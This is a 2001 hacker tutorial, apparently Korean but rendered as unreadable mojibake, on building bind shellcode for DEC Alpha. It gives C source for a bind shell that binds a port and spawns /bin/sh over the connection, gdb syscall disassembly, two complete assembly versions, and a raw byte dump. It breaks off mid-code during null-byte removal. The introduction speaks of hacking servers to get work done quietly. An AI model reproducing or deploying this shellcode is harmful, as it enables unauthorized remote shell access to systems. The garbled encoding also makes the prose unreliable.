====================================================================================== Title : Hackers note for alpha bind shellcode ( Risc°è¿­ , dec-alpha ) Author : truefinder, igrus & khdp.org (ROK) e-mail : seo@igrus.inha.ac.kr update : 2001/06/18, 2001/06/27 ====================================================================================== ¸ñÂ÷ 0. µé¾î°¡±â Àü¿¡ 1. Step by step ! step a. - Code your c line step b. - Reduce your code for best fit step c. - Note your data size and init value step d. - Note stuff about used syscall & return value of them step e. - Assemble it on your hands step f. - Change variable region .data to stack step g. - Remove null byte code from your stream step h. - Test your byte stream 2. °á·Ð. 3. appendix A 0. µé¾î°¡±â Àü¿¡ ---------------- ÇÑâ ÇÊÀÚ´Â syrinxÀÇ ´ÙÀ½ ÄÚµå ³×ÀÓÀÎ bacchante¸¦ ÁøÇàÇÏ°í ÀÖ´ø Â÷¿´´Ù. ³ª´Â 165.246.33.21/bacchante¿¡ ³ª¿­µÈ ¸¹Àº OSÀÇ ´Ù¾çÇÑ Ä¨¿¡¼­ ¿©·¯°¡Áö ½©Äڵ带 Â¥¾ß Çß´Ù. ( ¹°·Ð, ÀÌ°ÍÀÌ Àý´ë µ·ÀÌ µÇ°Å³ª ÇÏ´Â °ÍÀÌ ¾Æ´Ï´Ù. ) -Âü°í·Î, ÀÌ bacchante¶õ À̸§ÀÇ ÄÚµå´Â ´ÙºÐÈ÷ ÇØÄ¿ÀûÀÎ Â÷¿ø¿¡¼­ÀÇ ÇÁ·ÎÁ§Æ®ÀÌ´Ù. ¸¹Àº ±¹³», ±¹¿Ü °³Àΰú ÆÀµéÀÌ Âü¿© ÇÏ°í ÀÖÀ¸¸ç ÇØ¿ÜÀÇ tesoÆÀÀ̶õ °÷¿¡¼­´Â ½ÉÁö¾î ¿ì¸®¿Í ºñ½ÁÇÑ ÀÏÀ» ÁøÇàÇÏ°í ÀÖ¾ú´Ù. ±× ¿ÍÁß¿¡ ³ª´Â ±× ¸â¹öÁßÀÇ ÇϳªÀÎ caddis¿Í Á¢ÃËÇßÀ¸¸ç, ±× ¿ª½Ã ¿ì¸®¿Í °°Àº ¸î°¡Áö ³­°üÀ» °¡Áö°í ÀÖ¾ú´Ù. ¿©·¯ ±âÁ¾ÀÇ ¸Ó½Å°ú ±×¿¡ µû¸¥ ´Ù¾çÇÑ OS¸¦ ±¸ºñÇϱâ Èûµç »óȲÀÌ ¹Ù·Î ±×°ÍÀ̾ú´Âµ¥, ±×¿Í ³ªÀÇ ÃÖÁ¾ °á·ÐÀº "hit and short time work ". Áï, ÇÊ¿äÇÑ ¼­¹ö¸¦ ÇØÅ·Çؼ­ ¿øÇÏ´Â ÀÛ¾÷À» ¼öÇàÇÏ°í Á¶¿ëÈ÷ ³ª¿À´Â °Í. °¡²û¾¿ ¿­¾ÇÇÑ È¯°æÀÇ ÇØÄ¿µé¿¡°Õ ÇØÅ·À» À§ÇØ ¶Ç ´Ù¸¥ Å©·¡Å·ÀÌ ÇÊ¿äÇÒ ¶§°¡ ÀÖ´Ù.- ´ÙÇàÀ̵µ ³»°¡ ¼ÓÇÑ school¿¡ ¾µ ¼ö ÀÖ´Â ¸î°³ÀÇ ±ÍÁßÇÑ ½Ã½ºÅÛ°ú À¯Æ¿¸®Æ¼µéÀÌ ÀÖ¾ú°í, ³ª´Â ´Ù¸¥ ¸Ó½ÅÀÇ ½©Äڵ带 À§ÇÑ Àå¿Ü ÇØÅ·Àº ±× ½Ã½ºÅÛÀÇ Äڵ尡 ¿Ï¼ºµÉ¶§±îÁö º¸·ùÇϱâ·Î Çß´Ù. ±× ¸Ó½Å¿¡ ´ëÇÑ Äڵ尡 Áö±Ý ¸· ¿Ï¼ºµÇ¾ú°í, ±×·¯´ø Áß ÇÊÀÚ´Â linux, solaris, bsd°è¿­, ±×¸®°í ¸î°¡Áö riscĨÀ» ±â¹ÝÀ¸·ÎÇϴ ƯÁ¤ OS¿¡¼­ Äڵ带 Â¥¸é¼­ ½©Äڵ带 ±¸¼ºÇÏ´Â µ¥¿¡ ¾î¶² Á¤ÇüÈ­µÈ ¹æ¹ý·Ð°ú È¿À²ÀûÀÎ Å×Å©´ÐÀ» ¹ß°ßÇß´Ù. ¿ø·¡, ÀÌ ³ëÆ®´Â ´ÜÁö ³ªÀÇ ÀÛ¾÷À» ¼öÈÎÇÏ°Ô ÇϱâÀ§ÇØ °£´Ü°£´Ü ¸Þ¸ðÇØ ³õÀº °Í¿¡¼­ ºÎÅÍ ½ÃÀ۵ȴÙ. °æÇèÀ¸·Î ºÁ¼­ ¿ì¸® hard study hackerµé¿¡°Õ ÀÌ·± ½ÇÁ¦ÀûÀÎ ¹ßÀÚÃë°¡ ´õ¿í µµ¿òÀÌ µÇ¸®¶ó »ý°¢µÇ¾î ¿©°ú¾øÀÌ ¹ßÃéÇØ ³Öµµ·Ï ÇÑ´Ù. ¸¹Àº Ä¿¸àÆ®´Â »ý·«Çϱâ·Î ÇÏ°Ú´Ù. ( ¿©±â¼­ ³ª´Â ¼³¸íÀ» À§ÇØ »ç¶÷µéÀÌ ¸¹Àº °ü½ÉÀ» °°´Â 64bit dec alpha¸Ó½ÅÀ» äÅÃÇß´Ù. ÇöÀç´Â À̸ӽÅÀÌ tru64¶ó´Â À̸§À¸·Î ¹Ù²î¾ú´Ù. ±×¸®°í school¿¡¼­ Á¦°øÇØÁØ ÀÏ¹Ý Çлý°èÁ¤À¸·Î ÀÛ¾÷À» Çß´Ù. ´ÙÇàÀÌ º°´Ù¸¥ Àå¿Ü ¼­¹ö Å©·¡Å·Àº ¾ÆÁ÷±îÁö ÇÊ¿ä¾ø¾ú´ø ¼ÀÀÌ´Ù. ÇÏÁö¸¸ ³Ê¹«³ª ±«·Ó´Ù. ) 2. Step by step ! ------------------ ÀÚ, ±×·³ ÀܼҸ®´Â ÀÌÁ¦ ±×¸¸ Áý¾î Ä¡¿ì°í, º»·ÐÀ¸·Î µé¾î°¡ÀÚ ! ;] << ½©Äڵ带 Â¥´Â Á¤¼® >> step A. ¿øÇÏ´Â ÇÁ·Î±×·¥À» §´Ù. (¿©±â¼­´Â bindshellcodeÀÌ´Ù. ) step B. ±× ÇÁ·Î±×·¥À» assemblyÇϱ⠽±°Ô °£¼ÒÈ­ ÇÑ´Ù. step C. º¯¼ö·Î ÀÌ¿ëµÉ ½ºÅÃÀÇ »çÀÌÁî¿Í Â÷ÈÄ ±× º¯¼öµéÀÇ ÃʱâÈ­°ªÀ» ¾Ë¾ÆµÐ´Ù. step D. °¢ ·çƾ¿¡¼­ »ç¿ëµÇ´Â ÇÔ¼öµéÀ» ¹Ì¸® üũÇÏ°í, disassembleÇؼ­ ÆĶó¸ÞÅ͵éÀÌ ¾î¶»°Ô »ç¿ëµÇ´ÂÁö ¾Ë¾Æ µÐ´Ù. °¢ syscall¿¡ µû¸¥ ¹øÈ£µµ ¾Ë¾ÆµÐ´Ù. step E. À§ÀÇ Á¤º¸¿¡ µû¶ó assembly Äڵ带 §´Ù. º¯¼öÀÇ °æ¿ì ¸ÕÀú .data¼½¼ÇÀ» ¸¶·ÃÇØ »ç¿ëÇÑ´Ù. Â÷·Ê·Î °¢°¢ÀÇ ÇÔ¼ö¸¦ Â¥³ª°¡¸é¼­ È£ÃâÇÏ°í ¸®ÅÏ°ªÀ» üũÇؼ­ ÇÔ¼ö°¡ Á¦´ë·Î È£Ã⠵ǴÂÁö È®ÀÎÇÑ´Ù. step F. ÇÔ¼ö È£ÃâÀÌ ¸ðµÎ ¼º°øµÇ¸é, .data¼½¼Ç¿¡ ÀÖ´Â °ÍÀ» ÄÚµåÀÇ ½ºÅÃÀ¸·Î ¿Å±ä´Ù. step G. null byteÀ» Á¦°Å ÇÑ´Ù. step H. test code ! ¿ì¸®´Â À§¿Í °°Àº ÀÏ·ÃÀÇ ¹æ½ÄÀ¸·Î ½©Äڵ带 Â¥ ³ª°¥ °ÍÀÌ´Ù. ÇÊÀÚÀÇ °æÇèÀ¸·Î ÀÌ·± ÀýÂ÷¿¡¼­ °¡Àå È¿À²ÀûÀÎ µ¿¼±ÀÌ ÀÌ·ç¾î Áø´Ù´Â °ÍÀ» ¾Ë¾Ò´Ù. [step A.] - Code your C line ++ bindshell.c ++ #include #include #include #include main() { int soc,cli,soc_len; struct sockaddr_in serv_addr; struct sockaddr_in cli_addr; if( fork() == 0 ) { serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl( INADDR_ANY); serv_addr.sin_port = htons ( 30464 ); soc = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP); bind ( soc, (struct sockaddr *)&serv_addr, sizeof(serv_addr) ); listen(soc, 1); soc_len = sizeof( cli_addr ); cli = accept( soc, (struct sockaddr *)&cli_addr, &soc_len ); dup2(cli, 0); dup2(cli, 1); dup2(cli, 2); execl("/bin/sh", "sh", 0); } } [step B.] - reduce your code for best fit 4 /* oh, ohhara ! */ 5 6 int soc; 7 int cli; 8 struct sockaddr_in serv_addr; 9 10 int main() 11 { 12 // if( fork() == 0 ) 13 // { 14 serv_addr.sin_family = 2; 15 serv_addr.sin_addr.s_addr = 0; 16 serv_addr.sin_port = 0x77; 17 18 soc = socket ( 2, 1, 6 ); 19 bind ( soc, (struct sockaddr *)&serv_addr, 0x10 ); 20 listen(soc,1); 21 cli = accept(soc,0,0); 22 23 dup2(cli,0); 24 dup2(cli,1); 25 dup2(cli,2); 26 27 execl("/bin/sh", "sh", 0); 28 // } 29 } 30 [step C.] - note your data size & init value dec-alphaÀÇ int ´Â 8byte, º¯¼ö soc°ú cli ´Â 8byte + 8byte = 16 byte serv_addrÀÇ »çÀÌÁî´Â 16 byte, µû¶ó¼­ ÃÑ 32 byte°¡ ÇÊ¿äÇÏ´Ù. (gdb) x/16bx &soc 0x1400090e0 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1400090e8 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 (gdb) x/16bx &serv_addr 0x140009f10 : 0x02 0x00 0x77 0x00 0x00 0x00 0x00 0x00 0x140009f18 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 [step D.] - note stuff about used syscall & return value of them ¿©±â¼­´Â socket, bind, listen, accept, dup2, execveÁ¤µµ°¡ »ç¿ëµÈ´Ù. °¢°¢ÀÇ ÇÔ¼öÈ£Ãâ½Ã Á¤»óÀûÀÎ µ¿ÀÛÀÇ °æ¿ì return°ªÀº ¾Æ·¡¿Í °°´Ù. dec-alpha¿¡¼­´Â v0·¹Áö½ºÅÍ , Áï $0¿¡ ¸®ÅÏ°ªÀÌ ÀúÀåµÈ´Ù. À̸¦ ÅëÇØ ¾î¼Àºí¸®»ó¿¡¼­ ÇÔ¼ö È£ÃâÀÌ Á¦´ë·Î ÀÌ·ç¾î Á³´Â°¡¸¦ È®ÀÎÇÒ¼ö ÀÖ´Ù. socket ( nonnegative integer ) bind ( 0 ) listen ( 0 ) accept ( nonnegative integer ) dup2 ( new file desc ) execve ( no care ) GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "alphaev5-dec-osf4.0d"... (gdb) disas main Dump of assembler code for function main: 0x120003090
: ldah gp,8193(t12) 0x120003094 : lda gp,-11264(gp) 0x120003098 : lda sp,-16(sp) 0x12000309c : stq ra,0(sp) 0x1200030a0 : stq fp,8(sp) 0x1200030a4 : mov sp,fp 0x1200030a8 : lda t0,-25984(gp) 0x1200030ac : mov 0x2,t1 0x1200030b0 : ldl t2,0(t0) 0x1200030b4 : zapnot t2,0xfc,t2 0x1200030b8 : inswl t1,0,t1 0x1200030bc : or t1,t2,t1 0x1200030c0 : stl t1,0(t0) 0x1200030c4 : lda t0,-25984(gp) 0x1200030c8 : stl zero,4(t0) 0x1200030cc : lda t0,-25984(gp) 0x1200030d0 : mov 0x77,t1 0x1200030d4 : ldl t2,0(t0) 0x1200030d8 : zapnot t2,0xf3,t2 0x1200030dc : inswl t1,0x2,t1 0x1200030e0 : or t1,t2,t1 0x1200030e4 : stl t1,0(t0) 0x1200030e8 : mov 0x2,a0 0x1200030ec : mov 0x1,a1 0x1200030f0 : mov 0x6,a2 0x1200030f4 : ldq t12,-32664(gp) 0x1200030f8 : bsr ra,0x120003490 0x1200030fc : ldah gp,8193(ra) 0x120003100 : lda gp,-11372(gp) 0x120003104 : mov v0,t0 0x120003108 : lda t1,-29616(gp) 0x12000310c : stl t0,0(t1) 0x120003110 : lda t0,-29616(gp) 0x120003114 : ldl t1,0(t0) 0x120003118 : mov t1,a0 0x12000311c : lda a1,-25984(gp) 0x120003120 : mov 0x10,a2 0x120003124 : ldq t12,-32648(gp) 0x120003128 : bsr ra,0x1200034d0 0x12000312c : ldah gp,8193(ra) 0x120003130 : lda gp,-11420(gp) 0x120003134 : lda t0,-29616(gp) 0x120003138 : ldl t1,0(t0) 0x12000313c : mov t1,a0 0x120003140 : mov 0x1,a1 0x120003144 : ldq t12,-32640(gp) 0x120003148 : bsr ra,0x120003510 0x12000314c : ldah gp,8193(ra) 0x120003150 : lda gp,-11452(gp) 0x120003154 : lda t0,-29616(gp) 0x120003158 : ldl t1,0(t0) 0x12000315c : mov t1,a0 0x120003160 : clr a1 0x120003164 : clr a2 0x120003168 : ldq t12,-32632(gp) 0x12000316c : bsr ra,0x120003550 0x120003170 : ldah gp,8193(ra) 0x120003174 : lda gp,-11488(gp) 0x120003178 : mov v0,t0 0x12000317c : lda t1,-29608(gp) 0x120003180 : stl t0,0(t1) 0x120003184 : lda t0,-29608(gp) 0x120003188 : ldl t1,0(t0) 0x12000318c : mov t1,a0 0x120003190 : clr a1 0x120003194 : ldq t12,-32616(gp) 0x120003198 : bsr ra,0x120003590 0x12000319c : ldah gp,8193(ra) 0x1200031a0 : lda gp,-11532(gp) 0x1200031a4 : lda t0,-29608(gp) 0x1200031a8 : ldl t1,0(t0) 0x1200031ac : mov t1,a0 0x1200031b0 : mov 0x1,a1 0x1200031b4 : ldq t12,-32616(gp) 0x1200031b8 : bsr ra,0x120003590 0x1200031bc : ldah gp,8193(ra) 0x1200031c0 : lda gp,-11564(gp) 0x1200031c4 : lda t0,-29608(gp) 0x1200031c8 : ldl t1,0(t0) 0x1200031cc : mov t1,a0 0x1200031d0 : mov 0x2,a1 0x1200031d4 : ldq t12,-32616(gp) 0x1200031d8 : bsr ra,0x120003590 0x1200031dc : ldah gp,8193(ra) 0x1200031e0 : lda gp,-11596(gp) 0x1200031e4 : ldah a0,-8193(gp) 0x1200031e8 : lda a0,11000(a0) 0x1200031ec : ldah a1,-8193(gp) 0x1200031f0 : lda a1,11008(a1) 0x1200031f4 : clr a2 0x1200031f8 : ldq t12,-32600(gp) 0x1200031fc : bsr ra,0x1200035d0 0x120003200 : ldah gp,8193(ra) 0x120003204 : lda gp,-11632(gp) 0x120003208 : mov fp,sp 0x12000320c : ldq ra,0(sp) 0x120003210 : ldq fp,8(sp) 0x120003214 : addq sp,0x10,sp 0x120003218 : ret zero,(ra),0x1 End of assembler dump. (gdb) disas socket Dump of assembler code for function socket: 0x120003490 : addq zero,0x61,v0 0x120003494 : callsys 0x120003498 : beq a3,0x1200034b0 0x12000349c : br gp,0x1200034a0 0x1200034a0 : ldah gp,8193(gp) 0x1200034a4 : lda gp,-12304(gp) 0x1200034a8 : ldq at,-32480(gp) 0x1200034ac : bsr zero,0x12000abf0 <_cerror> 0x1200034b0 : ret zero,(ra),0x1 0x1200034b4 : nop 0x1200034b8 : unop 0x1200034bc : nop 0x1200034c0 : nop 0x1200034c4 : unop 0x1200034c8 : nop 0x1200034cc : unop End of assembler dump. (gdb) disas bind Dump of assembler code for function bind: 0x1200034d0 : addq zero,0x68,v0 0x1200034d4 : callsys 0x1200034d8 : beq a3,0x1200034f0 0x1200034dc : br gp,0x1200034e0 0x1200034e0 : ldah gp,8193(gp) 0x1200034e4 : lda gp,-12368(gp) 0x1200034e8 : ldq at,-32464(gp) 0x1200034ec : bsr zero,0x12000abf0 <_cerror> 0x1200034f0 : ret zero,(ra),0x1 0x1200034f4 : nop 0x1200034f8 : unop 0x1200034fc : nop 0x120003500 : nop 0x120003504 : unop 0x120003508 : nop 0x12000350c : unop End of assembler dump. (gdb) disas listen Dump of assembler code for function listen: 0x120003510 : addq zero,0x6a,v0 0x120003514 : callsys 0x120003518 : beq a3,0x120003530 0x12000351c : br gp,0x120003520 0x120003520 : ldah gp,8193(gp) 0x120003524 : lda gp,-12432(gp) 0x120003528 : ldq at,-32448(gp) 0x12000352c : bsr zero,0x12000abf0 <_cerror> 0x120003530 : ret zero,(ra),0x1 0x120003534 : nop 0x120003538 : unop 0x12000353c : nop 0x120003540 : nop 0x120003544 : unop 0x120003548 : nop 0x12000354c : unop End of assembler dump. (gdb) disas accept Dump of assembler code for function accept: 0x120003550 : addq zero,0x63,v0 0x120003554 : callsys 0x120003558 : beq a3,0x120003570 0x12000355c : br gp,0x120003560 0x120003560 : ldah gp,8193(gp) 0x120003564 : lda gp,-12496(gp) 0x120003568 : ldq at,-32432(gp) 0x12000356c : bsr zero,0x12000abf0 <_cerror> 0x120003570 : ret zero,(ra),0x1 0x120003574 : nop 0x120003578 : unop 0x12000357c : nop 0x120003580 : nop 0x120003584 : unop 0x120003588 : nop 0x12000358c : unop End of assembler dump. (gdb) disas dup2 Dump of assembler code for function dup2: 0x120003590 : addq zero,0x5a,v0 0x120003594 : callsys 0x120003598 : beq a3,0x1200035b0 0x12000359c : br gp,0x1200035a0 0x1200035a0 : ldah gp,8193(gp) 0x1200035a4 : lda gp,-12560(gp) 0x1200035a8 : ldq at,-32416(gp) 0x1200035ac : bsr zero,0x12000abf0 <_cerror> 0x1200035b0 : ret zero,(ra),0x1 0x1200035b4 : nop 0x1200035b8 : unop 0x1200035bc : nop 0x1200035c0 : nop 0x1200035c4 : unop 0x1200035c8 : nop 0x1200035cc : unop End of assembler dump. °¢°¢ÀÇ syscall¿¡ µû¸¥ ÆĶó¸ÞÅÍ¿Í syscall number´Â ´ÙÀ½°ú °°´Ù. dec-alphaÀÇ ÆĶó¸ÞÅ͵éÀº Â÷·Ê·Î a0, a1, a2....¼øÀ¸·Î µé¾î°¡¸ç, ½ºÅÃÀº ÂüÁ¶ÇÏÁö ¾Ê´Â´Ù. ½Ã½ºÅÛÄÝ ¹øÈ£´Â $0¿¡ µé¾î °¡¸ç ÀÌ´Â ³ªÁß¿¡ return value°¡ µé¾î°¡¼­ ³ª¿Â´Ù. socket ( a0=2, a1=1, a2=6 ) $0=0x61 bind ( a0=soc, a1=&serv_addr , a2=0x10 ) $0=0x68 listen ( a0=soc, a1=1 ) $0=6a accept ( a0=soc, a1=0, a2=0 ) $0=63 dup2( a0=&cli, a1=0) $0=5a dup2( a0=&cli, a1=1); dup2( a0=&cli, a1=2); [step E.] - assemble it on your hands ±×·¯¸é À̸¦ ÀÏ´Ü, assembly·Î Â¥ º¸ÀÚ. ======================= here we are, the first code ==================== .data soc: .quad 0x0 cli: .quad 0x0 serv_addr: .long 0x00770002 .long 0x00000000 .text .globl main .ent main main : socket_start: addq $31, 0x2, $16 addq $31, 0x1, $17 addq $31, 0x6, $18 addq $31, 0x61, $0 call_pal 0x83 stq $0, soc bind_start: ldq $16, soc lda $17, serv_addr addq $31,0x10,$18 addq $31, 0x68, $0 call_pal 0x83 listen_start: ldq $16, soc addq $31, 0x1, $17 addq $31, 0x6a, $0 call_pal 0x83 accept_start: ldq $16, soc bis $31, $31, $17 bis $31, $31, $18 addq $31, 0x63, $0 call_pal 0x83 stq $0, cli dup2_start: ldq $16, cli bis $31,$31,$17 addq $31, 0x5a, $0 call_pal 0x83 ldq $16, cli addq $31, 0x1,$17 addq $31, 0x5a, $0 call_pal 0x83 execve_start: subq $sp,424,$sp mov $sp,$fp mov 0x6e69622f, $1 mov 0x68732fff, $2 srl $2,0x08,$2 stl $1, 400($fp) stl $2, 404($fp) stq $fp,408($fp) stq $31,416($fp) lda $16, 400($fp) lda $17, 408($fp) clr $18 addq $31,0x83,$4 stl $4, 424($fp) addq $fp,424,$5 cmoveq $31,0x3b,$0 jsr $31,($5),0xffff nop nop nop .end main ======================================================================== ¾î¼Àºí¸®¸¦ Â¥´Â °ÍÀº ÀÇ¿Ü·Î °£´ÜÇÏ´Ù. ƯÈ÷ alpha´Â RISC°è¿­ chipÀ̹ǷΠ½ºÅÃÀ¸·Î ¹úÁþ(?)À» ÇÏ´Â ¼ö°í¸¦ ´ú¼ö ÀÖ´Ù. Àß °üÂûÇØ º¸¸é °¢ ½Ã½ºÅÛ È£Ãâ°£¿¡ »ó´çÈ÷ À¯»çÇÏ°í, °£´ÜÇÑ ÄÚµåµéÀÌ ¹Ýº¹µÈ´Ù. ¾î·Á¿ö ÇÏÁö ¸»¶ó. °ç¿¡ alpha assembly ¸Þ´º¾óÀÌ ÀÖÀ¸¸é ´õ´õ¿í ÁÁ´Ù. % ¿©±â¼­ ÇÊÀÚ°¡ »ý·«ÇÑ ºÎºÐÀº ÇÔ¼ö Çϳª¸¦ Â¥³õ°í Å×½ºÆ® Çϸ鼭 ¸®ÅÏÄڵ带 üũÇÑ ºÎºÐÀÌ´Ù. µû¶ó¼­ ÀÌ Ã¹¹ø° ¾î¼Àºí¸®ÄÚµå´Â ÀüüÀûÀ¸·Î Â¥ÀΰÍÀÌ ¾Æ´Ï¶ó, Á¶±Ý¾¿ Â¥¿©Áö¸é¼­ Å×½ºÆ® µÈ°ÍÀ̶ó°í º¼¼ö ÀÖ´Ù. ¾î°µç Àßµ¹¾Æ°£´Ù... [step F.] - change variable region .data to stack ¿ì¸®ÀÇ ¾î¼Àºí¸®´Â ±×·°Àú·° Àß µ¹¾Æ°¡´Â °Í °°´Ù. ±×·³ .data·Î ¼±¾ðÇÑ ¾ÈÀüÇÑ ¸Þ¸ð¸®¿µ¿ªÀ» ½ÇÇàµÉ ÄÚµå¾È¿¡ ³Ö±â À§ÇØ ½ºÅûóÀ¸·Î ¿Å°Üº¸ÀÚ. ¿ì¸®¿¡°Ô ÇÊ¿äÇÑ ¸Þ¸ð¸® °ø°£Àº ÃÑ 32byteÀ̸ç, sp-400 ~ sp-432 ±îÁö¿¡ ¿ì¸®ÀÇ µ¥ÀÌÅ͸¦ ³ÖÀ» °ÍÀÌ´Ù. serv_addr 400($fp) ... 415($fp) soc 416($fp) ... 423($fp) cli 424($fp) ... 431($fp) %¿©±â¼­ ½ºÅÃÀÇ ¿µ¿ªÀ» 0~32±îÁö°¡ ¾Æ´Ñ 400¿¡¼­ 432±îÁö Àâ´Â °ÍÀº ´ÜÁö ³ªÁß¿¡ null byte¸¦ ÁÙÀ̱â À§Çؼ­ ÀÌ´Ù. ======================= here is second code ============================= .text .globl main .ent main main : lda $sp, -432($sp) mov $sp, $fp mov 0x00770002, $1 stq $1, 400($fp) socket_start: addq $31, 0x2, $16 addq $31, 0x1, $17 addq $31, 0x6, $18 addq $31, 0x61, $0 call_pal 0x83 stq $0, 416($fp) bind_start: ldq $16, 416($fp) lda $17, 400($fp) addq $31,0x10,$18 addq $31, 0x68, $0 call_pal 0x83 listen_start: ldq $16, 416($fp) addq $31, 0x1, $17 addq $31, 0x6a, $0 call_pal 0x83 accept_start: ldq $16, 416($fp) bis $31, $31, $17 bis $31, $31, $18 addq $31, 0x63, $0 call_pal 0x83 stq $0, 424($fp) dup2_start: ldq $16, 424($fp) bis $31,$31,$17 addq $31, 0x5a, $0 call_pal 0x83 ldq $16, 424($fp) addq $31, 0x1,$17 addq $31, 0x5a, $0 call_pal 0x83 lda $sp, 432($sp) execve_start: subq $sp,424,$sp mov $sp,$fp mov 0x6e69622f, $1 mov 0x68732fff, $2 srl $2,0x08,$2 stl $1, 400($fp) stl $2, 404($fp) stq $fp,408($fp) stq $31,416($fp) lda $16, 400($fp) lda $17, 408($fp) clr $18 addq $31,0x83,$4 stl $4, 424($fp) addq $fp,424,$5 cmoveq $31,0x3b,$0 jsr $31,($5),0xffff nop nop nop .end main =========================================================== ¿ª½Ã Àß µ¹¾Æ °£´Ù ! [step G.] - remove null byte code ! ¾î¶² OS¿¡¼­´Â ½ºÅà ¾ÆÆ®¸¦ Àß ÇØ¾ß ÇÑ´Ù. CISC°æ¿ì »ç¿ëÇÒ¼ö ÀÖ´Â register°¡ ÀûÀ¸¹Ç·Î ½ºÅÃÀ» ¸¹ÀÌ »ç¿ëÇØ¾ß Çϴµ¥, RISC°æ¿ì´Â ±×·¯ÇÑ ¼ö°í°¡ Á» ´ú¾î Áø´Ù. ÀÌ°Í ¸¶Âú°¡Áö Àß Å×½ºÆ® µÇ¾úÀ¸¸é, ÀÌÁ¦´Â ³ÎÄڵ带 Àâ¾Æ¾ß ÇÑ´Ù. ÀÌ Äڵ尡 ÁÖ´Â ¹ÙÀÌÆ® ½ºÆ®¸²Àº ¾Æ·¡¿Í °°´Ù. 0x120001100
: 0x50 0xfe 0xde 0x23 0x0f 0x04 0xde 0x47 0x120001108 : 0x77 0x00 0x3f 0x24 0x02 0x00 0x21 0x20 0x120001110 : 0x90 0x01 0x2f 0xb4 0x10 0x54 0xe0 0x43 0x120001118 : 0x11 0x34 0xe0 0x43 0x12 0xd4 0xe0 0x43 0x120001120 : 0x00 0x34 0xec 0x43 0x83 0x00 0x00 0x00 0x120001128 : 0xa0 0x01 0x0f 0xb4 0xa0 0x01 0x0f 0xa6 0x120001130 : 0x90 0x01 0x2f 0x22 0x12 0x14 0xe2 0x43 0x120001138 : 0x00 0x14 0xed 0x43 0x83 0x00 0x00 0x00 0x120001140 : 0xa0 0x01 0x0f 0xa6 0x11 0x34 0xe0 0x43 0x120001148 : 0x00 0x54 0xed 0x43 0x83 0x00 0x00 0x00 0x120001150 : 0xa0 0x01 0x0f 0xa6 0x11 0x04 0xff 0x47 0x120001158 : 0x12 0x04 0xff 0x47 0x00 0x74 0xec 0x43 0x120001160 : 0x83 0x00 0x00 0x00 0xa8 0x01 0x0f 0xb4 0x120001168 : 0xa8 0x01 0x0f 0xa6 0x11 0x04 0xff 0x47 0x120001170 : 0x00 0x54 0xeb 0x43 0x83 0x00 0x00 0x00 0x120001178 : 0xa8 0x01 0x0f 0xa6 0x11 0x34 0xe0 0x43 0x120001180 : 0x00 0x54 0xeb 0x43 0x83 0x00 0x00 0x00 0x120001188 : 0xb0 0x01 0xde 0x23 0x58 0xfe 0xde 0x23 0x120001190 : 0x0f 0x04 0xde 0x47 0x69 0x6e 0x3f 0x24 0x120001198 : 0x2f 0x62 0x21 0x20 0x73 0x68 0x5f 0x24 0x1200011a0 : 0xff 0x2f 0x42 0x20 0x82 0x16 0x41 0x48 0x1200011a8 : 0x90 0x01 0x2f 0xb0 0x94 0x01 0x4f 0xb0 0x1200011b0 : 0x98 0x01 0xef 0xb5 0xa0 0x01 0xef 0xb7 0x1200011b8 : 0x90 0x01 0x0f 0x22 0x98 0x01 0x2f 0x22 0x1200011c0 : 0x12 0x04 0xff 0x47 0x04 0x74 0xf0 0x43 0x1200011c8 : 0xa8 0x01 0x8f 0xb0 0xa8 0x01 0xaf 0x20 0x1200011d0 : 0x80 0x74 0xe7 0x47 0xff 0x7f 0xe5 0x6b 0x1200011d8 : 0x1f 0x04 0xff 0x47 0x1f 0x04 0xff 0x47 0x1200011e0 : 0x1f 0x04 0xff 0x47 dec-alpha¿¡¼­ ¾²ÀÌ´Â call_pal 0x83 ÀνºÆ®·°¼ÇÀÌ ³ÎÄڵ带 Àâ´Â Áö±Ý ½ºÅÜ¿¡¼­ Å« ÀÚ¸®¸¦ Â÷ÁöÇÏ´Â °ÍÀ¸·Î º¸ÀδÙ. ´ëÃæ 0x00000083À¸·Î º¸ÀÌ´Â call_pal 0x83¿¡ ´ëÇؼ­ ¸ÕÀú 󸮸¦ ÇÏ°í º¸¸é µå¹® µå¹® ³ªÅ¸³ª´Â nullµéÀ» ½±°Ô ÀâÀ»¼ö ÀÖÀ» µí º¸ÀδÙ. À̸¦ À§ÇØ ¿ì¸®´Â ½ºÅÃÀ¸·Î ¼î¸¦ ÇÒ °ÍÀÌ´Ù. ±âÁ¸ÀÇ ÄÚµå´Â ÀÚ±â ÀÚ½ÅÀ» ¼öÁ¤ÇÏ´Â ½ÄÀ¸·Î ¸¹ÀÌ ¸¸µé¾îÁ® ¿ÔÀ¸³ª, ¿ì¸®¿¡°Õ ÃæºÐÇÑ ½ºÅÃÀÌ ÀÖÀ¸¸ç, ±×°ÍÁ¶Â÷ ÀνºÆ®·°¼ÇÀÌ ÀÖ´Â ¸Þ¸ð¸®·Î µÐ°©ÇÒ¼ö ÀÖ´Ù. ±×·¸´Ù ½ºÅÿ¡ ¿ì¸®ÀÇ callÀνºÆ®·°¼ÇÀ» Áý¾î³Ö´Â °ÍÀÌ´Ù. °£´ÜÈ÷ call°è¿­ ÀνºÆ®·°¼ÇµÚ¿¡ ret ÀνºÆ®·°¼ÇÀÌ ÀÖ´Ù¸é ´Ù½Ã ¿ì¸®ÀÇ excution ÄÚµå ¿µ¿ªÀ¸·Î ¿À´Â °ÍÀº ¹®Á¦°¡ µÇÁö ¾Ê´Â´Ù. serv_addr 400($fp) ... 415($fp) soc 416($fp) ... 423($fp) cli 424($fp) ... 431($fp) serv_addr 400($fp) ... 415($fp) soc 416($fp) ... 423($fp) cli 424($fp) ... 431($fp) call_pal 0x83 432($fp) ... 435($fp) <--- call_pal 0x83 ret 436($fp) ... 439($fp) <--- ret ¿ì¸®ÀÇ ÇÔ¼ö°¡ ¹Ù·Î call_palÀνºÆ®·°¼ÇÀÌ ÀÖ´Â ½ºÅÃÀ¸·Î ¶Ù°Ô ÇØ¾ß ÇÏÀÚ ! [ * new method] ========================= our third code here ! ================== .text .globl main .ent main main : lda 